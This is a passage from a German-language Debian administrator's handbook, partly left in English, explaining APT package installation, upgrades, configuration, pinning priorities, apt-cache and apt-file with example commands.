Manchmal jedoch kann es wünschenswert sein, das Herunterladen der gesamten Packages-Datei zu erzwingen, besonders wenn die letzte Aktualisierung lange zurück liegt oder die Gesamtgröße der inkrementellen Differenz-Dateien nur wenig geringer ist. Dies kann auch interessant sein, wenn der Netzwerkzugriff sehr schnell aber der Prozessor der zu aktualisierenden Maschine ziemlich langsam ist, weil das Herunterladen schneller geht, als wiederholt die neue Version dieser Dateien zu berechnen (immer wieder die Unterschiede der jeweils ältesten Differenz-Datei auf die Paketliste anzuwenden). Dazu setzen Sie den APT-Konfigurationsparameter Acquire::PDiffs verwenden auf false.

$ sudo apt -o "Acquire::PDiffs=false" update

Die Optionen Acquire :: * steuern auch andere Aspekte des Downloads und sogar die Download-Methoden. Acquire :: Languages kann den Download von Translation-Sprachcode-Dateien einschränken oder deaktivieren und noch mehr Zeit sparen. Für eine vollständige Referenz siehe apt.conf(5).

6.2.2. Installieren und Entfernen

Mit APT können Pakete dem System hinzugefügt oder entfernt werden, genauer mit apt install Paket und apt remove Paket. In beiden Fällen installiert APT automatisch die nötigen Abhängigkeiten oder löscht die Pakete, die von dem zu entfernenden Paket abhängen. Der Befehl apt purge Paket ist mit einer vollständigen Deinstallation verbunden – durch Löschen auch der Konfigurationsdateien.

TIPP Die gleiche Paketauswahl mehrfach installieren

Manchmal ist es wünschenswert, die gleiche Paketauswahl auf mehreren Computern zu installieren. Das ist sehr einfach möglich.

Zuerst erzeugen Sie eine Liste der installierten Pakte auf dem Computer, der als "Kopiervorlage" dient.

$ dpkg --get-selections >pkg-list

Die Datei pkg-list enthält die Liste der installierten Pakete. Als Nächstes übertragen Sie die Datei pkg-list auf die zu aktualisierenden Rechner und geben dort die folgenden Befehle ein:

## bekannte Pakete in der Datenbank von dpkg aktualisieren # avail=`mktemp` # apt-cache dumpavail > "$avail" # dpkg --merge-avail "$avail" # rm -f "$avail" ## die Auswahl von dpkg aktualisieren # dpkg --set-selections < pkg-list ## mit apt-get die gewählten Pakete installieren # apt-get dselect-upgrade

Der erste Befehl zeichnet die verfügbaren Pakete in der Datenbank dpkg auf und anschließend stellt dpkg --set-selections die Liste der Pakete wieder her, die Sie installieren wollen und der Aufruf von apt-get führt die erforderlichen Operationen aus. Der Befehl aptitude hat diese Möglichkeit nicht.

TIPP Entfernen und installieren in einem Durchgang

Es ist möglich, apt (oder apt-get oder aptitude) zu bitten, bestimmte Pakete zu installieren und andere auf der gleichen Befehlszeile durch Hinzufügen eines Suffixes zu entfernen. Mit dem Befehl apt install fügen Sie "-" zu den Namen der Pakete hinzu, die Sie entfernen möchten. Mit dem Befehl apt remove fügen Sie "+" zu den Namen der Pakete hinzu, die Sie installieren möchten.

Das nächste Bespiel zeigt zwei verschiedene Wege, Paket1 zu installieren und Paket2 zu entfernen.

# apt install Paket1 Paket2-

# apt remove Paket1+ Paket2

Damit kann man auch Pakete ausschließen, die sonst installiert würden, beispielsweise aufgrund der automatischen Installation eines Recommends-Vorschlags. Normalerweise wird das Programm zur Auflösung von Abhängigkeiten aufgrund dieser Information nach alternativen Lösungen suchen.

TIPP apt --reinstall und aptitude reinstall

Das Entfernen oder Verändern von Dateien aus einem Paket kann das System manchmal beschädigen. Die einfachste Art, diese Dateien wieder zu bekommen, ist, das betroffene Paket erneut zu installieren. Unglücklicherweise stellt das Paketierungssystem fest, dass das Paket bereits installiert ist, und weigert sich höflich, es erneut zu installieren; um dies zu vermeiden, benutzen Sie die Option --reinstall der Befehle apt und apt-get. Der folgende Befehl installiert das Paket postfix erneut, selbst falls es bereits vorhanden ist:

# apt --reinstall install postfix

Die Syntax von aptitude ist ein wenig anders, erzielt aber dasselbe Ergebnis wie mit aptitude reinstall postfix.

Das Problem tritt bei dpkg nicht auf, jedoch wird es selten direkt durch den Administrator genutzt.

Seien Sie vorsichtig! Das Benutzen von apt --reinstall um Pakete wiederherzustellen, die während eines Angriffs verändert wurden, ist sicherlich nicht ausreichend das System so wieder her zu stellen, wie es war. Abschnitt 14.7, „Umgang mit einem kompromittierten Rechner“ beschreibt die bei einem gehackten zu unternehmenden Schritte im Detail.

Diese Befehle stellen die Konfigurationsdateien nicht wieder her. Wie Sie in Abschnitt 5.2.3, „Checksums, List of Configuration Files, et al.“ erfahren haben (siehe auch Seitenleiste WEITERE SCHRITTE Zwinge dpkg, Fragen zur Konfigurationsdatei zu stellen), können Sie mit dem folgenden Befehl aufgefordert werden, die unveränderte Version zu installieren und sogar alle gelöschten Konfigurationsdateien wiederherzustellen.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install Paket

Einige Pakete liefern die in /etc enthaltene Konfigurationsdatei nicht mit dem Paket. Stattdessen erstellen sie es während der Installation, indem sie entweder eine Skelettdatei kopieren oder es mit einem Skript schreiben. Die Datei /etc/inputrc ist beispielsweise eine Kopie von /usr/share/readline/ inputrc. In solchen Fällen funktionieren die oben gezeigten Befehle nicht.

Falls die Datei sources.list mehrere Distributionen enthält, ist es möglich, die Version des zu installierenden Pakets anzugeben. Eine bestimmte Versionsnummer kann mit apt install Paket=Version angefordert werden, aber die Angabe ihrer Urspungsdistribution (Stable, Testing oder Unstable) – mit apt install Paket/Distribution – wird für gewöhnlich bevorzugt. Mit diesem Befehl ist es möglich, zu einer älteren Paketversion zurückzukehren (falls Sie zum Beispiel wissen, dass sie gut funktioniert), vorausgesetzt sie ist noch in einer der von der Datei sources.list genannten Quellen verfügbar. Ansonsten kann das Archiv snapshot.debian.org zu Hilfe kommen (siehe die Seitenleiste GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org).

Beispiel 6.4. Installation der Unstable Version von spamassassin

# apt install spamassassin/unstable

Wenn Ihnen das zu installierende Paket in Form einer einfachen .deb Datei ohne zugehöriges Paket-Repository zur Verfügung gestellt wurde, ist es immer noch möglich, APT zu verwenden, um es zusammen mit seinen Abhängigkeiten zu installieren (vorausgesetzt, dass die Abhängigkeiten in den konfigurierten Repositorys verfügbar sind) mit einem einfachen Befehl: apt install ./Pfad-zur-Paket-deb. Das führende ./ ist wichtig, um deutlich zu machen, dass wir uns auf einen Dateinamen beziehen und nicht auf den Namen eines Pakets, das in einem der Repositorys verfügbar ist.

NÄCHSTE SCHRITTE Der Zwischenspeicher für .deb Dateien

APT behält eine Kopie jeder heruntergeladenen .deb-Datei im Verzeichnis /var/cache/apt/archives. Im Falle häufiger Aktualisierungen kann dieses Verzeichnis schnell eine Menge Festplattenspeicherplatz durch verschiedene Paketversionen einnehmen; Sie sollten das Verzeichnis regelmäßig aufräumen. Zwei Befehle können verwendet werden: apt-get clean leert das Verzeichnis vollständig, apt-get autoclean entfernt nur die Pakete, die nicht mehr heruntergeladen werden können (weil sie vom Debian-Spiegelserver verschwunden sind) und deshalb eindeutig nutzlos sind (der Konfigurationsparameter APT::Clean-Installed kann das Entfernen von .deb-Dateien verhindern, die gegenwärtig installiert sind).

6.2.3. Das System aktualisieren

Regelmäßige Aktualisierungen werden empfohlen, weil sie die neuesten Sicherheitsupdates beinhalten. Zum Aktualisieren benutzen Sie apt upgrade, apt-get upgrade oder aptitude safe-upgrade (natürlich nach apt-get update). Dieser Befehl sucht nach installierten Paketen, die aktualisiert werden können, ohne irgendwelche Pakete zu entfernen. Mit anderen Worten, es ist das Ziel, eine minimal invasive Aktualisierung sicher zu stellen. apt-get ist ein wenig anspruchsvoller als aptitude oder apt, weil es sich weigert, Pakete zu installieren, die zuvor nicht installiert waren.

apt wählt grundsätzlich die neueste Versionsnummer aus (außer bei Paketen aus Experimental und stable-backports, die standardmäßig ignoriert werden, unabhängig von ihrer Versionsnummer). Falls Sie Testing oder Unstable in Ihrer sources.list angegeben haben, wird apt upgrade den größten Teil Ihres Stable-Systems auf Testing oder Unstable umstellen, was möglicherweise nicht Ihre Absicht war.

Um apt in einer bestimmten Distribution nach aktualisierten Paketen suchen zu lassen, benutzen Sie die Option -t oder --target-release gefolgt vom Namen der gewünschten Distribution (zum Beispiel apt -t stable upgrade). Um das Angeben dieser Option bei jedem Aufruf von apt zu vermeiden, können Sie APT::Default-Release "stable"; der Datei /etc/apt/apt.conf.d/local hinzufügen.

Für wichtigere Aktualisierungen, wie den Übergang von einer Debian-Hauptversion zur nächsten, müssen Sie apt full-upgrade benutzen. Mit dieser Anweisung vollzieht apt die Aktualisierung selbst dann, wenn es einige veraltete Pakete entfernen oder neue Abhängigkeiten installieren muss. Dies ist ebenso der Befehl, den Benutzer verwenden, die täglich mit Debians Unstable-Veröffentlichung arbeiten und deren Entwicklung tagtäglich verfolgen. Es ist so einfach, dass es kaum einer Erklärung bedarf: APTs Ansehen begründet sich in dieser großartigen Funktionalität.

Anders als apt und aptitude, kennt apt-get nicht den full-upgrade Befehl. Sie sollten statt dessen apt-get dist-upgrade (”distribution upgrade”) verwenden, den historischen und gut bekannten Befehl, der auch von apt und aptitude zur Vereinfachung für den Benutzer verwendbar ist.

Die Ergebnisse dieser Operationen werden in /var/log/apt/history.log und /var/log/apt/term.log protokolliert, während dpkg sein Protokoll in einer Datei mit dem Namen /var/log/dpkg.log führt.

6.2.4. Konfigurationsoptionen

Neben den bereits erwähnten Konfigurationselementen ist es möglich, bestimmte Verhaltensweisen von APT durch das Hinzufügen von Vorschriften in einer Datei im Verzeichnis /etc/apt/apt.conf.d/ oder direkt in /etc/apt/apt.conf festzulegen. Erinnern Sie sich beispielsweise daran, dass es APT möglich ist, dpkg anzuweisen, durch Dateikonflikte hervorgerufene Fehler zu ignorieren, indem Sie DPkg::options { "--force-overwrite"; } angeben.

If the Web can only be accessed through a proxy, add a line like Acquire::http::proxy "http://yourproxy:3128". For an FTP proxy, write Acquire::ftp::proxy "ftp://yourproxy". To discover more configuration options, read the apt.conf(5) manual page (for details on manual pages, see Abschnitt 7.1.1, „Handbuchseiten“).

ZURÜCK ZU DEN GRUNDLAGEN Auf .d endende Verzeichnisse

Verzeichnisse mit angehängtem .d werden immer häufiger benutzt. Jedes Verzeichnis steht für eine Konfigurationsdatei, die auf mehrere Dateien aufgeteilt ist. In diesem Sinne sind alle Dateien in /etc/apt/apt.conf.d Anweisungen für die Konfiguration von APT. APT bezieht sie in alphabetischer Reihenfolge ein, so dass Anweisungen aus den weiter hinten stehenden Dateien bereits zuvor definierte Konfigurationselemente verändern können.

Diese Struktur gibt dem Administrator der Maschine und den Paket-Betreuern einiges an Flexibilität. Tatsächlich kann der Administrator die Konfiguration der Software verändern, indem er dem fraglichen Verzeichnis eine gebrauchsfertige Datei hinzufügt, ohne eine bestehende Datei verändern zu müssen. Paket-Betreuer nutzen denselben Ansatz, wenn sie die Konfiguration einer anderen Software anpassen müssen, um sicherzustellen, dass beide Konfigurationen friedlich koexistieren können. Die Debian-Richtlinien (policy) verbieten jedoch ausdrücklich das Verändern von Konfigurationsdateien anderer Pakete — nur den Anwendern wird dieses gestattet. Erinnern Sie sich, dass während einer Paketaktualisierung der Benutzer eine Auswahlmöglichkeit erhält, welche Version der Konfigurationsdatei verwendet werden soll, falls eine Veränderung erkannt wurde. Jede fremde Änderung würde eine solche Abfrage auslösen, zur Verwunderung des Administrators, der sich sicher ist, nichts verändert zu haben.

Without a .d directory, it is impossible for an external package to change the settings of a program by modifying its configuration file directly. Instead it must either invite the user to do it themselves and lists the operations to be done in the file /usr/share/doc/package/README.Debian, or it must create a file diversion for the configuration file using the dpkg-divert command and then install its own configuration file for the software in question. The latter is sometimes used by third party packages which try to handle configuration files of software components they use.

Abhängig von der Anwendung wird das .d-Verzeichnis direkt benutzt oder von einem externen Skript verwaltet, welches alle Dateien zu der eigentlichen Konfigurationsdatei zusammenfügt. Wichtig ist, dieses Skript nach jeder Änderung in dem Verzeichnis auszuführen, so dass die jüngsten Änderungen angewendet werden. Ebenso wichtig ist es, die automatisch erzeugte Konfigurationsdatei nicht direkt zu bearbeiten, weil alle manuellen Änderungen bei der nächsten Ausführung des Skripts verloren gehen. Die gewählte Methode (das .d-Verzeichnis direkt zu nutzen oder eine aus dem Verzeichnis generierte Datei) wird üblicherweise bestimmt durch die Rahmenbedingungen bei der Entwicklung, in beiden Fällen aber macht die höhere Konfigurationsflexibilität die kleinen Komplikationen, die sie mit sich bringt, mehr als wett. Der Mailserver Exim4 ist ein Beispiel für die Methode der generierten Datei: er kann durch mehrere Dateien (/etc/exim4/conf.d/*) konfiguriert werden, die vom Befehl update-exim4.conf zu /var/lib/exim4/config.autogenerated verknüpft werden.

6.2.5. Paketprioritäten verwalten

Einer der wichtigsten Aspekte bei der Konfiguration von APT ist die Verwaltung der Prioritäten, die jeder Paketquelle zugeordnet sind. Möchten Sie zum Beispiel eine stabile Distribution durch ein oder zwei neuere Pakete aus Testing, Unstable oder Experimental erweitern? Es ist möglich, jedem verfügbaren Paket eine Priorität zuzuweisen (dasselbe Paket kann mehrere Prioritäten haben, abhängig von seiner Version oder der Distribution, in der es vorkommt). Diese Prioritäten beeinflussen APTs Verhalten: Für jedes Paket wird die Version mit der höchsten Priorität ausgewählt (außer wenn diese Version älter ist, als die installierte und wenn ihre Priorität geringer als 1000 ist).

APT definiert verschiedene Standard-Prioritäten. Jede installierte Paketversion hat die Priorität 100. Eine nicht installierte Version erhält standardmäßig die Priorität 500, diese kann aber auf 990 angehoben werden, falls sie Teil der Ziel-Veröffentlichung ist (diese wird durch die Befehlszeilenoption -t oder die Konfigurationsanweisung APT::Default-Release festgelegt).

Sie können die Prioritäten ändern, indem Sie in einer Datei in /etc/apt/preferences.d/ oder der Datei /etc/apt/preferences Einträge mit den Namen der betroffenen Pakete, ihrer Version und Herkunft, sowie ihrer neuen Priorität hinzufügen.

APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000 (or it is explicitly requested by the user, see Abschnitt 6.2.2, „Installieren und Entfernen“). APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).

Konkreter ausgedrückt ein Paket, dessen Priorität ist

< 0

wird niemals installiert werden,

1..99

wird nur installiert, wenn keine andere Version des Pakets bereits installiert ist,

100..499

wird nur installiert, wenn keine andere neuere Version installiert oder in einer anderen Distribution verfügbar ist,

500....989

wird nur installiert, wenn keine neuere Version installiert oder in der Zieldistribution verfügbar ist,

990..1000

wird installiert, außer wenn die installierte Version neuer ist,

> 1000

wird immer installiert, auch wenn es APT dazu zwingt, auf eine ältere Version herabzustufen.

When APT checks /etc/apt/preferences and /etc/apt/preferences.d/, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including, for example, all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release file that APT downloads together with the Packages files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example, 11 for Debian Bullseye). Let's have a look at its syntax through some realistic case studies of this mechanism.

SPEZIFISCHER FALL Priorität von experimental

Auch wenn Sie Experimental zu Ihrer sources.list-Datei hinzugefügt haben, werden die darin enthaltenen Pakete wahrscheinlich niemals installiert, da deren Priorität auf 1 voreingestellt ist. Dabei handelt es sich um eine Sicherheitsvorkehrung, die verhindern soll, dass Anwender Experimental Pakete aus Versehen installieren. Diese Pakete lassen sich nur mittels aptitude install Paket/experimental installieren – Anwender, die diesen Befehl eingeben, müssen sich der Risiken bewusst sein, die sie damit eingehen. Es ist dennoch möglich (wenn auch nicht empfohlen), Pakete aus Experimental wie Pakete anderer Distributionen zu behandeln, indem Sie ihnen eine Priorität von 500 zuweisen. Sie erreichen dies über einen Eintrag in /etc/apt/preferences:

Package: * Pin: release a=experimental Pin-Priority: 500

Angenommen, Sie wollen nur Pakete aus der stable-Version von Debian verwenden. Pakete anderer Versionen sollen nicht installiert werden, es sei denn, dies wird explizit gewünscht. In dem Falle können Sie folgenden Eintrag in der Datei /etc/apt/preferences vornehmen:

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

a=stable bestimmt den Namen der ausgewählten Distribution. o=Debian beschränkt den Umfang auf Pakete mit der Herkunft "Debian".

Let's now assume that you have a server with several local programs depending on the version 5.28 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:

Package: perl Pin: version 5.28* Pin-Priority: 1001

To gain a better understanding of the mechanisms of priority and distribution or repository properties to pin do not hesitate to execute apt-cache policy to display the default priority associated with each package source, or apt-cache policy package to display the default priority for each available version and source of a package as explained in Abschnitt 6.3.1, „The apt-cache policy Command“.

Die Referenzdokumentation für die Dateien /etc/apt/preferences und /etc/apt/preferences.d/ finden Sie auf der Handbuchseite apt_preferences(5), die Sie sich mit man apt_preferences anzeigen lassen können.

TIPP Kommentare in /etc/apt/preferences

Es existiert keine offzielle Syntax für Kommentare in der /etc/apt/preferences Datei, aber Beschreibungen lassen sich mittels einer oder mehrerer “Explanation” Felder zu Beginn jedes Eintrags einfügen:

Explanation: The package xserver-xorg-video-intel provided Explanation: in experimental can be used safely Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. Mit mehreren Distributionen arbeiten

Das ausgezeichnete Werkzeug apt versucht, die Pakete von anderen Distributionen zu übernehmen. Nachdem man vielleicht ein Stable System installiert hat, möchte man evtl. ein Software Paket aus Testing oder Unstable ausprobieren, ohne all zu weit vom ursprünglichen Zustand des Systems abzuweichen.

Selbst wenn Sie beim Mischen von Paketen aus unterschiedlichen Distributionen gelegentlich auf Probleme stossen sollten, apt verwaltet ein solches Nebeneinander sehr gut und beschränkt die Risiken sehr effektiv. Die beste Vorgehensweise ist, alle benutzten Distributionen in /etc/apt/sources.list einzutragen (es gibt Leute, die immer alle drei Distributionen eintragen, aber beachten Sie, dass Unstable nur für erfahrene Anwender vorgesehen ist) und die Referenzdistribution mit dem APT::Default-Release Parameter fest zu legen (siehe Abschnitt 6.2.3, „Das System aktualisieren“).

Nehmen wir einmal an, Stable sei Ihre Referenzdistribution aber Testing und Unstable seien auch in Ihrer sources.list-Datei gelistet. In diesem Fall können Sie apt install package/testing nutzen, um ein Paket aus Testing zu installieren. Sollte die Installation auf Grund von nicht auflösbaren Abhängigkeiten scheitern, lassen sich diese Abhängigkeiten in Testing durch Angabe des -t testing Parameters lösen. Dies gilt gleichermassen für Unstable.

In this situation, upgrades (upgrade and full-upgrade) are done within Stable except for packages already upgraded to another distribution: those will follow updates available in the other distributions. We will explain this behavior with the help of the default priorities set by APT below. Do not hesitate to use apt-cache policy (Abschnitt 6.3.1, „The apt-cache policy Command“) to verify the given priorities.

Alles beruht auf der Tatsache, dass APT nur Pakete gleich oder höher der installierten Version in Betracht zieht (unter der Annahme das /etc/apt/preferences für kein Paket eine Priorität größer als 1000 erzwingt).

Lassen Sie uns annehmen, Sie hätten Version 1 eines ersten Pakets aus Stable installiert und Version 2 und 3 wären in Testing bzw. in Unstable verfügbar. Die installierte Version hat eine Priorität von 100 aber die Version aus Stable (genau die gleiche) hat eine Priorität von 990 (weil sie Bestandteil der Zieldistribution ist). Pakete in Testing und Unstable haben eine Priorität von 500 (die Standardpriorität einer nicht installierten Version). Der Gewinner ist daher die Version 1 mit der Priorität 990. Das Paket "bleibt in Stable”.

Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable. If you don't want a package installed from Testing to migrate to the version in Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences to this effect:

Package: * Pin: release a=unstable Pin-Priority: 490

6.2.7. Automatisch installierte Pakete nachverfolgen

Eine der grundlegenden Funktionen von apt, ist das Verfolgen der über Abhängigkeiten installierten Pakete. Diese Pakete werden "automatisch" genannt und beinhalten oft Bibliotheken.

Mit diesen Informationen können die Paketmanager beim Entfernen von Paketen eine Liste der automatischen Pakete errechnen, die nicht mehr benötigt werden (weil es keine "manuell installierten" Pakete gibt, die von ihnen abhängen). Mit apt-get autoremove oder apt autoremove werden diese Pakete entfernt. aptitude verfügt nicht über diesen Befehl, da es sie automatisch entfernt, sobald sie identifiziert werden. In allen Fällen zeigen die Werkzeuge eine klare Meldung mit einer Liste der betroffenen Pakete an.

Es ist eine gute Idee, jedes Paket als automatisch zu markieren, das man nicht direkt benötigt, damit diese automatisch entfernt werden, wenn sie nicht weiter benötigt werden. apt-mark auto Paket markiert das betreffenbde Paket als automatisch, während apt-mark manual Paket das Gegenteil tut. aptitude markauto und aptitude unmarkauto arbeiten gleichermaßen, obwohl sie mehr Möglichkeiten bieten, viele Pakete auf einmal zu markieren (siehe Abschnitt 6.5.1, „aptitude“). Die konsolenbasierte interaktive Benutzerschnittstelle von aptitude macht es ebenfalls leicht, das "automatisch"-Flag zu überprüfen.

Manchmal möchte man wissen, warum ein automatisch installiertes Paket installiert wurde. Um auf der Kommandozeile an diese Information zu gelangen, können Sie aptitude why Paket benutzen (apt und apt-get haben keine entsprechende Funktion):

$ aptitude why python3-debian i aptitude Suggests apt-xapian-index p apt-xapian-index Depends python3-debian (>= 0.1.14)

ALTERNATIVE deborphan und debfoster

Früher, als apt, apt-get und aptitude automatische Pakete noch nicht überwachen konnten, gab es zwei Werkzeuge, die eine Liste nicht benötigter Pakete erstellen: deborphan und debfoster. Beide können immer noch nützlich sein.

deborphan scans the libs and oldlibs sections by default (in the absence of supplementary instructions) looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.

debfoster verfolgt einen komplexeren Ansatz, ähnlich dem von APT: Es verwaltet eine Liste von Paketen, die ausdrücklich installiert wurden und merkt sich, welche Pakete zwischen zwei Aufrufen wirklich benötigt wurden. Wenn neue Pakete im System auftauchen und wenn debfoster diese nicht als benötigte Pakete kennt, werden diese zusammen mit ihren Abhängigkeiten angezeigt. Das Programm bietet dann die Wahl: Entfernen der Pakete (wenn möglich mit den Abhängigkeiten), als explizit benötigt markieren oder temporär ignorieren.

6.2.8. APT Patterns

Patterns allow you to specify complex search queries to select the packages you want to install or show. They were first implemented for aptitude (see Abschnitt 6.5, „Benutzeroberflächen: aptitude, synaptic“), but now APT can also make use of them.

For example, we can use apt list ?automatic to list all the packages automatically installed. To find packages automatically installed no longer depended upon by manually installed packages the pattern ?garbage can be used.

Logic patterns can be combined with other packages to form more complex expressions. For instance, we could use a pattern like ?and(PATTERN, PATTERN). See apt-patterns(7) and glob(7) for all the patterns you can use and the complex expressions you can create with them.

6.3. Der Befehl apt-cache

Der Befehl apt-cache kann viele Informationen aus APTs interner Datenbank anzeigen. Diese Informationen sind eine Art von Zwischenspeicher (Cache), da sie aus verschiedenen, in der Datei sources.list gelisteten, Quellen zusammengetragen wurden. Dies passiert während der apt update Operation.

WÖRTERVERZEICHNIS Cache

Ein Cache (Zwischenspeicher) ist ein temporäres Speichersystem, das benutzt wird, um den Zugriff auf häufig genutzte Daten zu beschleunigen, wenn die üblichen Zugriffsmethoden sehr zeitaufwendig sind. Dieses Konzept kann auf vielfältige Situationen und in unterschiedlichen Dimensionen angewendet werden, vom Mikroprozessorkern bis zum High-End Speichersystem.

In the case of APT, the reference Packages files are those located on Debian mirrors. That said, it would be very ineffective to go through the network for every search that we might want to do in the database of available packages. That is why APT stores a copy of those files (in /var/lib/apt/lists/) and searches are done within those local files. Similarly, /var/cache/apt/archives/ contains a cache of already downloaded packages (see sidebar NÄCHSTE SCHRITTE Der Zwischenspeicher für .deb Dateien) to avoid downloading them again if you need to reinstall them after a removal.

Auf der anderen Seite ist es zwingend erforderlich, apt update regelmäßig auszuführen, um den Cache zu aktualisieren. Ansonsten werden Ihre Paketsuchergebnisse immer die neuesten Aktualisierungen verpassen, die von den Debian-Spiegelservern verteilt werden.

The apt-cache command can do keyword-based package searches with apt-cache search keyword. It can also display the headers of the package's available versions with apt-cache show package. This command provides the package's description, its dependencies, the name of its maintainer, etc. Note that apt search, apt show, aptitude search, and aptitude show work in the same way.

ALTERNATIVE axi-cache

apt-cache search ist ein sehr rudimentäres Werkzeug, das im Wesentlichen aus einem grep auf die Paketbeschreibungen besteht. Oft gibt es zu viele Treffer zurück oder aber gar keine, wenn man zu viele Schlüsselwörter angibt.

axi-cache search Ausdruck liefert dagegen bessere Ergebnisse, nach Relevanz geordnet. Es benutzt die Xapian-Suchmaschine und gehört zum Paket apt-xapian-index, das alle Paketinformationen indiziert (mehr noch, wie z.B. die .desktop-Dateien aller Debian Pakete). Es kennt Schlagwörter ("tags") (see sidebar WEITERE SCHRITTE Die Tag-Zeile) und die Antwortzeiten liegen in der Größenordnung von Millisekunden.

$ axi-cache search package use::searching axi-cache search package use::searching 13 results found. Results 1-13: 100% packagesearch - GUI for searching packages and viewing package information 87% debtags - Debian Package Tags support tools 86% whohas - query multiple distributions' package archives 84% recoll - Personal full text search package 82% apt-forktracer - utility for tracking non-official package versions [..] 66% apt - commandline package manager More terms: debian dpkg search debtags whohas forktracer dctrl More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http

Some features are more rarely used. For instance, apt-cache dumpavail displays the headers of all available versions of all packages. apt-cache pkgnames displays the list of all the packages which appear at least once in the cache.

One of the features which might come in handy more often is apt-cache policy, described in the following section.

6.3.1. The apt-cache policy Command

The apt-cache policy command displays the pinning priorities and distribution properties of each package source as explained in Abschnitt 6.2.5, „Paketprioritäten verwalten“. It can also show the pinning priorities for all available versions and sources of a package. For the sources.list example used in Beispiel 6.2, „/etc/apt/sources.list-Datei für Debian Stable“ and APT::Default-Release set to "bullseye", the output will look like this:

$ apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/non-free amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/contrib amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64 origin deb.debian.org 990 https://deb.debian.org/debian bullseye/main amd64 Packages release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64 origin deb.debian.org 500 http://security.debian.org bullseye-security/main amd64 Packages release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64 origin security.debian.org Pinned packages:

Die apt-cache-Politik kann auch die Pinning-Prioritäten für alle verfügbaren Versionen und Quellen eines bestimmten Pakets anzeigen.

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.06.15-1 Version table: 2021.07.21-1~bpo11+1 100 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

Although there is a newer version of limnoria in the bullseye-backports repository, APT will not install it automatically based on the priority. One would have to use apt install limnoria/bullseye-backports or add a higher pinning priority to /etc/apt/preferences.d/limnoria.pref:

Package: limnoria Pin: release o=Debian Backports, a=bullseye-backports Pin-Priority: 1001

$ apt-cache policy limnoria limnoria: Installed: 2021.06.15-1 Candidate: 2021.07.21-1~bpo11+1 Version table: 2021.07.21-1~bpo11+1 1001 100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages *** 2021.06.15-1 990 990 https://deb.debian.org/debian bullseye/main amd64 Packages 100 /var/lib/dpkg/status

6.4. Der apt-file-Befehl

Sometimes we refer to a file or a command and you might wonder, in which package it will be found. Fortunately the Debian repositories not only contain information about all the binary packages provided, but also all the files shipped with them. This information is stored in files named Contents-arch.gz and Contents-udeb-arch.gz. This information is not automatically downloaded by APT. Instead it needs the apt-file update command (from the similar named package) to retrieve the contents of all package sources mentioned in /etc/apt/sources.list. By default it downloads Contents*.pdiff files as described in sidebar TIPP Inkrementelle Aktualisierungen to reduce the amount of data necessary to be downloaded. To update the database on a weekly base, the following entry can be added to /etc/crontab if convenient.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

Nachdem die Datenbank aktualisiert wurde, listet der Befehl apt-file search Muster alle Pakete auf, die einen Dateinamen oder Pfad enthalten, der dem Muster entspricht.

$ apt-file search bin/axi-cache apt-xapian-index: /usr/bin/axi-cache

Der Befehl apt-file list Paket listet stattdessen alle Dateien auf, die mit dem Paket ausgeliefert wurden.

TIPP Auflisten des Inhalts eines Pakets und Auffinden des Pakets einer Datei

Ähnlich wie apt-file list listet der Befehl dpkg -L Paket alle Dateien auf, aber nur für ein installiertes Paket. Um das Paket zu finden, zu dem eine lokale Datei gehört, verwenden Sie dpkg -S Datei (siehe Abschnitt 5.4.3, „Abfragen der Datenbank von dpkg und Untersuchen der .deb-Dateien“). Um alle lokalen Dateien aufzulisten, die zu keinem installierten Paket gehören, können Sie einen Blick auf das Paket cruft oder das Paket cruft-ng werfen.

6.5. Benutzeroberflächen: aptitude, synaptic

APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (frontends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test frontend for libapt-pkg but its success tends to obscure this fact.

6.5.1. aptitude

